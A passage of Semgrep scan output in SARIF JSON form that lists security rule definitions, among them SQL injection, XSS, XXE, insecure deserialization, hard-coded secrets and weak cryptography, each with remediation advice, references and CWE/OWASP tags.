Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","id":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","name":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/cursor.html#cursor.execute](https://www.psycopg.org/docs/cursor.html#cursor.execute)\n - [https://www.psycopg.org/docs/cursor.html#cursor.executemany](https://www.psycopg.org/docs/cursor.html#cursor.executemany)\n - [https://www.psycopg.org/docs/cursor.html#cursor.mogrify](https://www.psycopg.org/docs/cursor.html#cursor.mogrify)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli","id":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","name":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"help":{"markdown":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url","id":"swift.webview.webview-baseurl.swift-webview-config-base-url","name":"swift.webview.webview-baseurl.swift-webview-config-base-url","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-baseurl.swift-webview-config-base-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","id":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","name":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"help":{"markdown":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n - [https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)\n","text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"helpUri":"https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","id":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","name":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"help":{"markdown":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0)\n","text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","id":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","name":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec","id":"python.django.security.injection.code.user-exec.user-exec","name":"python.django.security.injection.code.user-exec.user-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec.user-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request)\n - [https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server](https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server)\n - [https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html](https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html)\n","text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization)\n - [https://frohoff.github.io/appseccali-marshalling-pickles/](https://frohoff.github.io/appseccali-marshalling-pickles/)\n - [https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi](https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi)\n - [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)\n - [https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331](https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331)\n","text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","id":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","name":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","id":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","name":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n","text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","id":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","name":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.gosql-sqli.gosql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"help":{"markdown":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected)\n","text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.pycryptodome.org/src/hash/ripemd160](https://www.pycryptodome.org/src/hash/ripemd160)\n - [https://www.pycryptodome.org/src/hash/sha1](https://www.pycryptodome.org/src/hash/sha1)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n","text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","id":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","name":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","id":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","name":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits"},"help":{"markdown":"RSA keys should be at least 2048 bits\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","id":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","name":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 